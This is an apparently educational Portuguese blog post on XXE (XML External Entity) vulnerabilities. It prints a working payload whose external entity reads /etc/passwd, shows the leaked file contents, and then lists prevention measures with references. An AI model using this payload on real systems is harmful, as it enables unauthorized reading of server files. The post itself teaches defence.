XXE External Entity Attack
O que é XML?
eXtensible Markup Language (XML) é uma linguagem de marcação projetada para armazenar dados, sendo legível para humanos e máquinas. O XML descreve e organiza informações usando tags.
Exemplo de como podemos implementar usando xml
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<empresaestoque> <!-- Elemento raiz -->
<estoque> <!-- Item estoque -->
<id>1</id>
<ferramenta>furadeira</ferramenta>
</estoque>
</empresaestoque>
Aprenda mais sobre XML
O que é XML External Entity?
É uma vulnerabildade conhecida em interfirir no processamento de dados XML de uma aplicação. Ocorre quando uma aplicação aceita entras XML que faz referência das entidades dentro do XML. Podemos explorar e pegar arquivos de dentro do sistema operecional, realizar negação de serviço e outros impactos.
Como o XXE funciona
A aplicação recebe a entrada, mas não está validando o que recebe. Digamos que você tem uma site que envia uma documento financeiro e ele pega as informações e envia para seu ERP. E se no lugar de enviar os dados esperados, você injeta uma entidade externa e aponta para “/etc/passwd”.
- Fluxo
- O sistema espera uma entrada limpa e segura
- Atacante cria uma entidade que aponta para informações dentro do servidor
1 2 3 4 5 6 7
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <NF> <valor> &xxe; </valor> </NF>
- Ocorre o processamento
Resultado com as informações solicitadas.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Prevenção
- Está sempre nas recomendações é a o processo de validação. É necessário filtrar todos os dados xml recebidos. Por exemplo, você consegue definir quais dados são permitidos, qual será a estrutura.
- Desativar entidades externas: Instruímo o processador a ignorar PUBLIC ou SYSTEM. Seria como nossos pais falavam: “Não aceite bombom de estranhos”
- Desativar DTD: Caso sua aplicação não utilize.
- Evitar expor muitas informações nas mensagens de erro. Por exemplo, faça esse lab da portswigger, você vai enterder do que estou falando.
Referências:
https://portswigger.net/web-security/xxe
[https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity(XXE)_Processing)
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
https://www.amazon.com.br/Bug-Bounty-Bootcamp-Reporting-Vulnerabilities/dp/1718501544